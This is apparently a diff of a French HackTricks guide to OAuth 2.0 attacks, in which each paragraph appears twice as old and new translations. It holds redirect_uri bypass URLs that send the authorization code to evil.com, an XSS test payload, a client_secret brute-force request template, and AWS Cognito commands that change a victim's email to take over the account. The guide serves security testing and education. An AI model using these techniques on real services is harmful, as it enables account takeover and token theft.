* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Informations de base <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
Il existe plusieurs versions d'OAuth, vous pouvez lire [https://oauth.net/2/](https://oauth.net/2/) pour avoir une compréhension de base.
|
||||
Il existe plusieurs versions d'OAuth, vous pouvez lire [https://oauth.net/2/](https://oauth.net/2/) pour obtenir une compréhension de base.
|
||||
|
||||
Dans cet article, nous nous concentrerons sur le flux le plus courant que vous rencontrerez aujourd'hui, qui est le [type de subvention de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/). En substance, OAuth fournit aux développeurs un **mécanisme d'autorisation pour permettre à une application d'accéder à des données ou d'effectuer certaines actions contre votre compte, à partir d'une autre application** (le serveur d'autorisation).
|
||||
Dans cet article, nous nous concentrerons sur le flux le plus courant que vous rencontrerez aujourd'hui, qui est le [type d'autorisation de code d'autorisation OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/). En essence, OAuth fournit aux développeurs un **mécanisme d'autorisation permettant à une application d'accéder à des données ou d'effectuer certaines actions contre votre compte, depuis une autre application** (le serveur d'autorisation).
|
||||
|
||||
Par exemple, supposons que le site web _**https://yourtweetreader.com**_ ait une fonctionnalité pour **afficher tous les tweets que vous avez jamais envoyés**, y compris les tweets privés. Pour ce faire, OAuth 2.0 est introduit. _https://yourtweetreader.com_ vous demandera d'**autoriser leur application Twitter à accéder à tous vos tweets**. Une page de consentement apparaîtra sur _https://twitter.com_ affichant les **autorisations demandées**, et qui est le développeur qui le demande. Une fois que vous avez autorisé la demande, _https://yourtweetreader.com_ sera **en mesure d'accéder à vos tweets en votre nom**.
|
||||
Par exemple, disons que le site _**https://yourtweetreader.com**_ a une fonctionnalité pour **afficher tous les tweets que vous avez jamais envoyés**, y compris les tweets privés. Pour ce faire, OAuth 2.0 est introduit. _https://yourtweetreader.com_ vous demandera d'**autoriser leur application Twitter à accéder à tous vos Tweets**. Une page de consentement apparaîtra sur _https://twitter.com_ affichant quelles **permissions sont demandées**, et qui est le développeur qui les demande. Une fois que vous autorisez la demande, _https://yourtweetreader.com_ sera **capable d'accéder à vos Tweets en votre nom**.
|
||||
|
||||
Les éléments importants à comprendre dans un contexte OAuth 2.0 :
|
||||
Éléments importants à comprendre dans un contexte OAuth 2.0 :
|
||||
|
||||
* **propriétaire de la ressource** : Le `propriétaire de la ressource` est l'**utilisateur/entité** accordant l'accès à sa ressource protégée, telle que ses tweets de compte Twitter. Dans cet exemple, ce serait **vous**.
|
||||
* **serveur de ressources** : Le `serveur de ressources` est le **serveur qui gère les demandes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`. Dans cet exemple, ce serait **https://twitter.com**
|
||||
* **application cliente** : L'`application cliente` est l'**application qui demande l'autorisation** du `propriétaire de la ressource`. Dans cet exemple, ce serait **https://yourtweetreader.com**.
|
||||
* **serveur d'autorisation** : Le `serveur d'autorisation` est le **serveur qui délivre les `jetons d'accès`** à l'`application cliente` **après avoir authentifié avec succès** le `propriétaire de la ressource` et obtenu l'autorisation. Dans l'exemple ci-dessus, ce serait **https://twitter.com**
|
||||
* **client_id** : Le `client_id` est l'**identifiant de l'application**. Il s'agit d'un identifiant unique public, **non secret**.
|
||||
* **client_secret** : Le `client_secret` est un **secret connu uniquement de l'application et du serveur d'autorisation**. Cela est utilisé pour générer des `jetons d'accès`.
|
||||
* **response_type** : Le `response_type` est une valeur pour détailler **quel type de jeton** est demandé, tel que `code`
|
||||
* **scope** : Le `scope` est le **niveau d'accès demandé** que l'`application cliente` demande du `propriétaire de la ressource`
|
||||
* **redirect_uri** : Le `redirect_uri` est l'**URL vers laquelle l'utilisateur est redirigé après la fin de l'autorisation**. Cela doit généralement correspondre à l'URL de redirection que vous avez précédemment enregistrée auprès du service
|
||||
* **state** : Le paramètre `state` peut **persister les données entre la redirection de l'utilisateur vers le serveur d'autorisation et le retour**. Il est important que cela soit une valeur unique car il sert de **mécanisme de protection CSRF** s'il contient une valeur unique ou aléatoire par demande
|
||||
* **propriétaire de la ressource** : Le `propriétaire de la ressource` est l'**utilisateur/entité** accordant l'accès à leur ressource protégée, comme leurs Tweets de compte Twitter. Dans cet exemple, ce serait **vous**.
|
||||
* **serveur de ressources** : Le `serveur de ressources` est le **serveur gérant les requêtes authentifiées** après que l'application a obtenu un `jeton d'accès` au nom du `propriétaire de la ressource`. Dans cet exemple, ce serait **https://twitter.com**
|
||||
* **application cliente** : L'`application cliente` est l'**application demandant l'autorisation** du `propriétaire de la ressource`. Dans cet exemple, ce serait **https://yourtweetreader.com**.
|
||||
* **serveur d'autorisation** : Le `serveur d'autorisation` est le **serveur émettant des `jetons d'accès`** à l'`application cliente` **après avoir authentifié avec succès** le `propriétaire de la ressource` et obtenu l'autorisation. Dans l'exemple ci-dessus, ce serait **https://twitter.com**
|
||||
* **client_id** : Le `client_id` est l'**identifiant de l'application**. C'est un identifiant unique **public, non secret**.
|
||||
* **client_secret** : Le `client_secret` est un **secret connu uniquement de l'application et du serveur d'autorisation**. Il est utilisé pour générer des `jetons d'accès`
|
||||
* **response_type** : Le `response_type` est une valeur détaillant **quel type de jeton** est demandé, tel que `code`
|
||||
* **scope** : Le `scope` est le **niveau d'accès demandé** que l'`application cliente` demande au `propriétaire de la ressource`
|
||||
* **redirect_uri** : Le `redirect_uri` est l'**URL vers laquelle l'utilisateur est redirigé après que l'autorisation est complète**. Cela doit généralement correspondre à l'URL de redirection que vous avez préalablement enregistrée avec le service
|
||||
* **state** : Le paramètre `state` peut **conserver des données entre le moment où l'utilisateur est dirigé vers le serveur d'autorisation et son retour**. Il est important que cela soit une valeur unique car il sert de mécanisme de protection contre les **CSRF** s'il contient une valeur unique ou aléatoire par requête
|
||||
* **grant_type** : Le paramètre `grant_type` explique **quel est le type de subvention**, et quel jeton va être retourné
|
||||
* **code** : Ce `code` est le code d'autorisation reçu du `serveur d'autorisation` qui sera dans le paramètre de chaîne de requête "code" dans cette demande. Ce code est utilisé conjointement avec le `client_id` et le `client_secret` par l'application cliente pour récupérer un `jeton d'accès`
|
||||
* **access_token** : Le `access_token` est le **jeton que l'application cliente utilise pour effectuer des demandes API** au nom d'un `propriétaire de la ressource`
|
||||
* **refresh_token** : Le `refresh_token` permet à une application d'**obtenir un nouveau `jeton d'accès` sans demander à l'utilisateur**
|
||||
* **code** : Ce `code` est le code d'autorisation reçu du `serveur d'autorisation` qui sera dans le paramètre de chaîne de requête “code” dans cette requête. Ce code est utilisé conjointement avec le `client_id` et le `client_secret` par l'application cliente pour récupérer un `jeton d'accès`
|
||||
* **access_token** : Le `access_token` est le **jeton que l'application cliente utilise pour effectuer des requêtes API** au nom d'un `propriétaire de la ressource`
|
||||
* **refresh_token** : Le `refresh_token` permet à une application d'**obtenir un nouveau `jeton d'accès` sans solliciter l'utilisateur**
|
||||
|
||||
### Exemple réel
|
||||
|
||||
En mettant tout cela ensemble, voici à quoi ressemble un **flux OAuth réel** :
|
||||
En rassemblant tout cela, voici à quoi ressemble un **flux OAuth réel** :
|
||||
|
||||
1. Vous visitez [https://yourtweetreader.com](https://yourtweetreader.com) et cliquez sur le bouton "Intégrer avec Twitter".
|
||||
2. [https://yourtweetreader.com](https://yourtweetreader.com) envoie une demande à [https://twitter.com](https://twitter.com) vous demandant, le propriétaire de la ressource, d'autoriser l'application Twitter de https://yourtweetreader.com à accéder à vos tweets. La demande ressemblera à :
|
||||
1. Vous visitez [https://yourtweetreader.com](https://yourtweetreader.com) et cliquez sur le bouton “Intégrer avec Twitter”.
|
||||
2. [https://yourtweetreader.com](https://yourtweetreader.com) envoie une demande à [https://twitter.com](https://twitter.com) vous demandant, en tant que propriétaire de la ressource, d'autoriser l'application Twitter de https://yourtweetreader.com à accéder à vos Tweets. La demande ressemblera à :
|
||||
```
|
||||
https://twitter.com/auth
|
||||
?response_type=code
|
||||
&client_id=yourtweetreader_clientId
|
||||
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
|
||||
&scope=readTweets
|
||||
&state=kasodk9d1jd992k9klaskdh123
|
||||
?response_type=code
|
||||
&client_id=yourtweetreader_clientId
|
||||
&redirect_uri=https%3A%2F%2Fyourtweetreader.com%2Fcallback
|
||||
&scope=readTweets
|
||||
&state=kasodk9d1jd992k9klaskdh123
|
||||
```
|
||||
3\. Vous serez invité à une page de consentement :
|
||||
3\. Une page de consentement s'affichera :
|
||||
|
||||
![](https://miro.medium.com/max/1215/1\*y66EY3Fn2qn-NPI9nhZC7A.png)
|
||||
|
||||
4\. Une fois accepté, Twitter enverra une demande de retour à l'`redirect_uri` avec les paramètres `code` et `state` :
|
||||
4\. Une fois accepté, Twitter enverra une requête au `redirect_uri` avec les paramètres `code` et `state` :
|
||||
```
|
||||
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1&state=kasodk9d1jd992k9klaskdh123
|
||||
```
|
||||
5\. Ensuite, [https://yourtweetreader.com](https://yourtweetreader.com) prendra ce `code` et, en utilisant l'`client_id` et le `client_secret` de leur application, fera une demande depuis le serveur pour récupérer un `access_token` en votre nom, ce qui leur permettra d'accéder aux autorisations auxquelles vous avez consenti :
|
||||
5\. [https://yourtweetreader.com](https://yourtweetreader.com) va ensuite prendre ce `code`, et en utilisant l'`client_id` et l'`client_secret` de leur application, va faire une demande depuis le serveur pour récupérer un `access_token` en votre nom, ce qui leur permettra d'accéder aux permissions auxquelles vous avez consenti :
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: twitter.com
|
||||
...{"client_id": "yourtweetreader_clientId", "client_secret": "yourtweetreader_clientSecret", "code": "asd91j3jd91j92j1j9d1", "grant_type": "authorization_code"}
|
||||
```
|
||||
6\. Enfin, le flux est complet et [https://yourtweetreader.com](https://yourtweetreader.com) fera un appel API à Twitter avec votre `access_token` pour accéder à vos Tweets.
|
||||
6\. Finalement, le flux est complet et [https://yourtweetreader.com](https://yourtweetreader.com) effectuera un appel API à Twitter avec votre `access_token` pour accéder à vos Tweets.
|
||||
|
||||
## Résultats de la chasse aux bugs <a href="#323a" id="323a"></a>
|
||||
## Découvertes de Bug Bounty <a href="#323a" id="323a"></a>
|
||||
|
||||
Maintenant, la partie intéressante ! Il y a de nombreuses choses qui peuvent mal tourner dans une implémentation OAuth, voici les différentes catégories de bugs que je vois fréquemment :
|
||||
Maintenant, la partie intéressante ! Il y a beaucoup de choses qui peuvent mal tourner dans une implémentation OAuth, voici les différentes catégories de bugs que je vois fréquemment :
|
||||
|
||||
### Configuration de `redirect_uri` faible <a href="#cc36" id="cc36"></a>
|
||||
### Configuration faible de redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
Le `redirect_uri` est très important car des données sensibles, telles que le `code`, sont ajoutées à cette URL après l'autorisation. Si le `redirect_uri` peut être redirigé vers un serveur **contrôlé par un attaquant**, cela signifie que l'attaquant peut potentiellement **prendre le contrôle du compte d'une victime** en utilisant le `code` lui-même et en accédant aux données de la victime.
|
||||
Le `redirect_uri` est très important car **des données sensibles, telles que le `code`, sont ajoutées à cette URL** après autorisation. Si le `redirect_uri` peut être redirigé vers un **serveur contrôlé par un attaquant**, cela signifie que l'attaquant peut potentiellement **prendre le contrôle du compte d'une victime** en utilisant le `code` lui-même, et en accédant aux données de la victime.
|
||||
|
||||
La façon dont cela va être exploité va varier en fonction du serveur d'autorisation. **Certains** n'accepteront que le **même chemin exact de `redirect_uri` spécifié dans l'application cliente**, mais certains accepteront **n'importe quoi** dans le même domaine ou sous-répertoire de `redirect_uri`.
|
||||
La manière dont cela va être exploité variera selon le serveur d'autorisation. **Certains** vont **uniquement accepter** le chemin **`redirect_uri` exact spécifié dans l'application cliente**, mais certains vont **accepter n'importe quoi** dans le même domaine ou sous-répertoire du `redirect_uri`.
|
||||
|
||||
En fonction de la logique gérée par le serveur, il existe plusieurs techniques pour contourner un `redirect_uri`. Dans une situation où un `redirect_uri` est [https://yourtweetreader.com](https://yourtweetreader.com)/callback, celles-ci incluent :
|
||||
Selon la logique gérée par le serveur, il existe un certain nombre de techniques pour contourner un `redirect_uri`. Dans une situation où un `redirect_uri` est [https://yourtweetreader.com](https://yourtweetreader.com)/callback, celles-ci incluent :
|
||||
|
||||
* Redirections ouvertes : [`https://yourtweetreader.com`](https://yourtweetreader.com)`/callback?redirectUrl=https://evil.com`
|
||||
* Traversée de chemin : `https://yourtweetreader.com/callback/../redirect?url=https://evil.com`
|
||||
* Regexes de `redirect_uri` faibles : `https://yourtweetreader.com.evil.com`
|
||||
* Injection HTML et vol de jetons via l'en-tête referer : `https://yourtweetreader.com/callback/home/attackerimg.jpg`
|
||||
* Regexes faibles de `redirect_uri` : `https://yourtweetreader.com.evil.com`
|
||||
* Injection HTML et vol de tokens via l'en-tête referer : `https://yourtweetreader.com/callback/home/attackerimg.jpg`
|
||||
|
||||
**D'autres paramètres** qui peuvent être vulnérables aux redirections ouvertes sont :
|
||||
**D'autres paramètres** qui peuvent être vulnérables aux Redirections Ouvertes sont :
|
||||
|
||||
* **client_uri** - URL de la page d'accueil de l'application cliente
|
||||
* **policy_uri** - URL que l'application cliente Relying Party fournit afin que l'utilisateur final puisse lire comment ses données de profil seront utilisées.
|
||||
* **tos_uri** - URL que l'application cliente Relying Party fournit afin que l'utilisateur final puisse lire les conditions d'utilisation de la Relying Party.
|
||||
* **initiate_login_uri** - URI utilisant le schéma https qu'un tiers peut utiliser pour initier une connexion par le RP. Doit également être utilisé pour la redirection côté client.
|
||||
* **client\_uri** - URL de la page d'accueil de l'application cliente
|
||||
* **policy\_uri** - URL que l'application cliente Partie Fiable fournit pour que l'utilisateur final puisse lire comment ses données de profil seront utilisées.
|
||||
* **tos\_uri** - URL que l'application cliente Partie Fiable fournit pour que l'utilisateur final puisse lire les conditions de service de la Partie Fiable.
|
||||
* **initiate\_login\_uri** - URI utilisant le schéma https qui peut être utilisé par un tiers pour initier une connexion par le RP. Devrait également être utilisé pour la redirection côté client.
|
||||
|
||||
Tous ces paramètres sont **optionnels selon les spécifications OAuth et OpenID** et ne sont pas toujours pris en charge sur un serveur particulier, il est donc toujours utile d'identifier quels paramètres sont pris en charge sur votre serveur.
|
||||
|
||||
Si vous ciblez un serveur OpenID, le point de découverte à \*\*`.well-known/openid-configuration`\*\* contient parfois des paramètres tels que "_registration\_endpoint_", "_request\_uri\_parameter\_supported_" et "_require\_request\_uri\_registration_". Cela peut vous aider à trouver le point de terminaison d'enregistrement et d'autres valeurs de configuration de serveur.
|
||||
Si vous ciblez un serveur OpenID, le point de découverte à \*\*`.well-known/openid-configuration`\*\* contient parfois des paramètres tels que "_registration\_endpoint_", "_request\_uri\_parameter\_supported_", et "_require\_request\_uri\_registration_". Ceux-ci peuvent vous aider à trouver le point de terminaison d'inscription et d'autres valeurs de configuration du serveur.
|
||||
|
||||
### XSS dans l'implémentation de redirection <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Comme mentionné dans ce rapport de chasse aux bugs [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), il est possible que l'URL de redirection soit **réfléchie dans la réponse** du serveur après que l'utilisateur s'authentifie, étant **vulnérable à XSS**. Charge utile possible à tester :
|
||||
Comme mentionné dans ce rapport de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) il se peut que l'URL de redirection **soit reflétée dans la réponse** du serveur après l'authentification de l'utilisateur, étant **vulnérable au XSS**. Payload possible à tester :
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Mauvaise manipulation du paramètre d'état <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - Gestion incorrecte du paramètre `state` <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Très souvent, le **paramètre `state` est complètement omis ou utilisé de manière incorrecte**. Si un paramètre d'état est **inexistant**, ou une valeur statique qui ne change jamais, le flux OAuth sera très probablement **vulnérable aux attaques CSRF**. Parfois, même s'il y a un paramètre `state`, l'**application pourrait ne pas valider le paramètre** et une attaque réussira. La façon d'exploiter cela serait de passer par le processus d'autorisation sur votre propre compte, et de faire une pause juste après l'autorisation. Vous rencontrerez alors une demande telle que:
|
||||
Très souvent, le paramètre **`state` est complètement omis ou utilisé de manière incorrecte**. Si un paramètre `state` est **inexistant**, **ou une valeur statique** qui ne change jamais, le flux OAuth sera très probablement **vulnérable au CSRF**. Parfois, même s'il existe un paramètre `state`, **l'application peut ne faire aucune validation de ce paramètre** et une attaque fonctionnera. La manière d'exploiter cela serait de passer par le processus d'autorisation sur votre propre compte, et de mettre en pause juste après avoir autorisé. Vous rencontrerez alors une requête telle que :
|
||||
```
|
||||
https://yourtweetreader.com?code=asd91j3jd91j92j1j9d1
|
||||
```
|
||||
Après avoir reçu cette demande, vous pouvez **abandonner la demande car ces codes sont généralement à usage unique**. Vous pouvez ensuite envoyer cette URL à un **utilisateur connecté, et cela ajoutera votre compte à leur compte**. Au début, cela peut ne pas sembler très sensible car vous ajoutez simplement votre compte au compte d'une victime. Cependant, de nombreuses implémentations OAuth sont destinées à des fins de connexion, donc si vous pouvez ajouter votre compte Google qui est utilisé pour la connexion, vous pourriez potentiellement effectuer une **prise de contrôle de compte** en un seul clic, car la connexion avec votre compte Google vous donnerait accès au compte de la victime.
|
||||
Après avoir reçu cette requête, vous pouvez alors **abandonner la requête car ces codes sont généralement à usage unique**. Vous pouvez ensuite envoyer cette URL à un **utilisateur connecté, et cela ajoutera votre compte à leur compte**. Au premier abord, cela peut ne pas sembler très sensible puisque vous ajoutez simplement votre compte à celui d'une victime. Cependant, de nombreuses implémentations OAuth sont utilisées à des fins de connexion, donc si vous pouvez ajouter votre compte Google qui est utilisé pour vous connecter, vous pourriez potentiellement réaliser une **prise de contrôle de compte** en un seul clic, car se connecter avec votre compte Google vous donnerait accès au compte de la victime.
|
||||
|
||||
Vous pouvez trouver un **exemple** à ce sujet dans ce [**write-up CTF**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) et dans la **boîte HTB appelée Oouch**.
|
||||
Vous pouvez trouver un **exemple** à ce sujet dans ce [**compte-rendu de CTF**](https://github.com/gr455/ctf-writeups/blob/master/hacktivity20/notes\_surfer.md) et dans la **machine HTB appelée Oouch**.
|
||||
|
||||
J'ai également vu le paramètre d'état utilisé plusieurs fois comme une valeur de redirection supplémentaire. L'application utilisera `redirect_uri` pour la redirection initiale, mais ensuite le paramètre `state` comme une deuxième redirection qui pourrait contenir le `code` dans les paramètres de requête, ou le header referer.
|
||||
J'ai également vu le paramètre `state` utilisé comme valeur de redirection supplémentaire à plusieurs reprises. L'application utilisera `redirect_uri` pour la redirection initiale, mais ensuite le paramètre `state` comme une seconde redirection qui pourrait contenir le `code` dans les paramètres de requête, ou l'en-tête referer.
|
||||
|
||||
Une chose importante à noter est que cela ne s'applique pas seulement aux situations de connexion et de prise de contrôle de compte. J'ai vu des erreurs de configuration dans :
|
||||
Un point important à noter est que cela ne s'applique pas seulement aux situations de connexion et de prise de contrôle de compte. J'ai vu des mauvaises configurations dans :
|
||||
|
||||
* Les intégrations Slack permettant à un attaquant d'ajouter son compte Slack en tant que destinataire de toutes les notifications/messages
|
||||
* Les intégrations Stripe permettant à un attaquant de remplacer les informations de paiement et d'accepter des paiements des clients de la victime
|
||||
* Les intégrations PayPal permettant à un attaquant d'ajouter son compte PayPal au compte de la victime, ce qui déposerait de l'argent sur le compte PayPal de l'attaquant
|
||||
* Les intégrations Slack permettant à un attaquant d'ajouter leur compte Slack comme destinataire de toutes les notifications/messages
|
||||
* Les intégrations Stripe permettant à un attaquant de remplacer les informations de paiement et d'accepter les paiements des clients de la victime
|
||||
* Les intégrations PayPal permettant à un attaquant d'ajouter leur compte PayPal au compte de la victime, ce qui déposerait l'argent sur le PayPal de l'attaquant
|
||||
|
||||
### Pré-prise de contrôle de compte <a href="#ebe4" id="ebe4"></a>
|
||||
### Avant la prise de contrôle de compte <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
L'un des autres problèmes les plus courants que je vois est lorsque les applications permettent de "Se connecter avec X" mais aussi un nom d'utilisateur/mot de passe. Il y a 2 façons différentes d'attaquer cela :
|
||||
L'un des autres problèmes courants que je vois est lorsque les applications permettent de "Se connecter avec X" mais aussi avec un nom d'utilisateur/mot de passe. Il y a 2 façons différentes d'attaquer cela :
|
||||
|
||||
1. Si l'application ne **nécessite pas de vérification d'e-mail lors de la création de compte**, essayez de **créer un compte avec l'adresse e-mail de la victime et un mot de passe d'attaquant** avant que la victime ne se soit inscrite. Si la **victime** essaie ensuite de s'inscrire ou de se connecter **avec un tiers**, comme Google, il est possible que l'application effectue une recherche, voie que l'e-mail est déjà enregistré, puis **lie leur compte Google au compte créé par l'attaquant**. C'est une "pré-prise de contrôle de compte" où un attaquant aura accès au compte de la victime s'il l'a créé avant que la victime ne s'inscrive.
|
||||
2. Si une **application OAuth ne nécessite pas de vérification d'e-mail**, essayez de vous inscrire avec cette application OAuth avec l'adresse e-mail de la **victime**. Le même problème que ci-dessus pourrait exister, mais vous attaqueriez dans l'autre sens et accéderiez au compte de la victime pour une prise de contrôle de compte.
|
||||
1. Si l'application **ne nécessite pas de vérification de l'email lors de la création du compte**, essayez **de créer un compte avec l'adresse email d'une victime et un mot de passe d'attaquant** avant que la victime ne se soit enregistrée. Si la **victime** essaie ensuite de s'enregistrer ou de se connecter **avec un tiers**, comme Google, il est possible que l'application fasse une recherche, voie que l'email est déjà enregistré, puis **lie leur compte Google au compte créé par l'attaquant**. C'est une "**prise de contrôle de compte préalable**" où un attaquant aura accès au compte de la victime s'il l'a créé avant que la victime ne s'enregistre.
|
||||
2. Si une **application OAuth ne nécessite pas de vérification de l'email**, essayez de vous inscrire avec cette application OAuth puis changez l'adresse email pour une **adresse email de la victime**. Le même problème que ci-dessus pourrait exister, mais vous l'attaqueriez dans l'autre sens et obtiendriez l'accès au compte de la victime pour une prise de contrôle de compte.
|
||||
|
||||
### Divulgation de secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
Il est très important de reconnaître **lesquels des nombreux paramètres OAuth sont secrets**, et de les protéger. Par exemple, divulguer le `client_id` est parfaitement acceptable et nécessaire, mais divulguer le **`client_secret` est dangereux**. Si cela est divulgué, l'**attaquant** peut potentiellement **abuser de la confiance et de l'identité de l'application client de confiance pour voler les `access_tokens` des utilisateurs et les informations/accès privés pour leurs comptes intégrés**. Revenons à notre exemple précédent, un problème que j'ai vu est d'effectuer cette étape depuis le client, au lieu du serveur :
|
||||
Il est très important de reconnaître **quels paramètres OAuth sont secrets**, et de les protéger. Par exemple, divulguer le `client_id` est parfaitement acceptable et nécessaire, mais divulguer le **`client_secret` est dangereux**. Si cela est divulgué, l'**attaquant** peut potentiellement **abuser de la confiance et de l'identité de l'application cliente de confiance pour voler les `access_tokens` des utilisateurs et les informations/accès privés pour leurs comptes intégrés**. Pour revenir à notre exemple précédent, un problème que j'ai vu est d'effectuer cette étape depuis le client, au lieu du serveur :
|
||||
|
||||
_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _prendra ensuite ce `code`, et en utilisant l'`client_id` et le `client_secret` de leur application, fera une demande depuis le serveur pour récupérer un `access_token` en votre nom, ce qui leur permettra d'accéder aux autorisations auxquelles vous avez consenti._
|
||||
_5._ [_https://yourtweetreader.com_](https://yourtweetreader.com) _prendra ensuite ce `code`, et en utilisant l'`client_id` et l'`client_secret` de leur application, fera une requête depuis le serveur pour récupérer un `access_token` en votre nom, ce qui leur permettra d'accéder aux permissions auxquelles vous avez consenti._
|
||||
|
||||
**Si cela est fait depuis le client, le `client_secret` sera divulgué et les utilisateurs pourront générer des `access_tokens` au nom de l'application**. Avec un peu d'ingénierie sociale, ils peuvent également **ajouter plus de portées à l'autorisation OAuth** et tout cela semblera légitime car la demande viendra de l'application client de confiance.
|
||||
**Si cela est fait depuis le client, le `client_secret` sera divulgué et les utilisateurs pourront générer des `access_tokens` au nom de l'application**. Avec un peu d'ingénierie sociale, ils peuvent également **ajouter plus de scopes à l'autorisation OAuth** et tout semblera légitime car la requête proviendra de l'application cliente de confiance.
|
||||
|
||||
### Bruteforce du secret client
|
||||
### Bruteforce du Client Secret
|
||||
|
||||
Vous pouvez essayer de **bruteforcer le secret client** d'un fournisseur de services avec le fournisseur d'identité afin d'essayer de voler des comptes.\
|
||||
La demande de BF peut ressembler à :
|
||||
Vous pouvez essayer de **bruteforcer le `client_secret`** d'un fournisseur de services avec le fournisseur d'identité afin d'essayer de voler des comptes.\
|
||||
La requête de BF peut ressembler à :
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
|
@ -147,27 +149,27 @@ Connection: close
|
|||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Fuite de l'en-tête Referer avec le code + l'état
|
||||
### Fuite du Header Referer avec Code + État
|
||||
|
||||
Une fois que le client a le **code et l'état**, s'il est **reflété dans l'en-tête Referer** lorsqu'il navigue sur une autre page, alors il est vulnérable.
|
||||
Une fois que le client a le **code et l'état**, s'ils sont **reflétés dans le header Referer** lorsqu'il navigue vers une autre page, alors il est vulnérable.
|
||||
|
||||
### Jeton d'accès stocké dans l'historique du navigateur
|
||||
### Jeton d'Accès Stocké dans l'Historique du Navigateur
|
||||
|
||||
Accédez à l'**historique du navigateur et vérifiez si le jeton d'accès est enregistré**.
|
||||
Allez dans **l'historique du navigateur et vérifiez si le jeton d'accès y est enregistré**.
|
||||
|
||||
### Code d'autorisation éternel
|
||||
### Code d'Autorisation Éternel
|
||||
|
||||
Le **code d'autorisation ne doit vivre que pendant un certain temps pour limiter la fenêtre de temps pendant laquelle un attaquant peut le voler et l'utiliser**.
|
||||
Le **code d'autorisation devrait avoir une durée de vie limitée pour réduire la fenêtre de temps pendant laquelle un attaquant peut le voler et l'utiliser**.
|
||||
|
||||
### Jeton d'autorisation/rafraîchissement non lié au client
|
||||
### Jeton d'Autorisation/Actualisation non lié au client
|
||||
|
||||
Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client différent, vous pouvez prendre le contrôle d'autres comptes**.
|
||||
Si vous pouvez obtenir le **code d'autorisation et l'utiliser avec un client différent, alors vous pouvez prendre le contrôle d'autres comptes**.
|
||||
|
||||
### Chemins heureux, XSS, Iframes et messages postaux pour divulguer les valeurs de code et d'état
|
||||
### Chemins Heureux, XSS, Iframes & Messages Post pour fuite de code & valeurs d'état
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Dans ce rapport de prime de bug: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/), vous pouvez voir que le **jeton** que **AWS Cognito** renvoie à l'utilisateur peut avoir **suffisamment de permissions pour écraser les données utilisateur**. Par conséquent, si vous pouvez **changer l'e-mail de l'utilisateur pour un e-mail d'utilisateur différent**, vous pourriez être en mesure de **prendre le contrôle** d'autres comptes.
|
||||
Dans ce rapport de bug bounty : [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) vous pouvez voir que le **token** que **AWS Cognito** renvoie à l'utilisateur peut avoir **assez de permissions pour écraser les données de l'utilisateur**. Par conséquent, si vous pouvez **changer l'email de l'utilisateur pour un autre email d'utilisateur**, vous pourriez être capable de **prendre le contrôle** d'autres comptes.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -175,28 +177,38 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
|||
# Change email address
|
||||
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
|
||||
{
|
||||
"CodeDeliveryDetailsList": [
|
||||
{
|
||||
"Destination": "i***@f***.com",
|
||||
"DeliveryMedium": "EMAIL",
|
||||
"AttributeName": "email"
|
||||
}
|
||||
]
|
||||
"CodeDeliveryDetailsList": [
|
||||
{
|
||||
"Destination": "i***@f***.com",
|
||||
"DeliveryMedium": "EMAIL",
|
||||
"AttributeName": "email"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Pour plus d'informations détaillées sur la façon d'abuser d'AWS Cognito, consultez:
|
||||
Pour plus d'informations détaillées sur la manière d'abuser d'AWS Cognito, consultez :
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### Deux liens et un cookie <a href="#bda5" id="bda5"></a>
|
||||
### Abuser des tokens d'autres applications <a href="#bda5" id="bda5"></a>
|
||||
|
||||
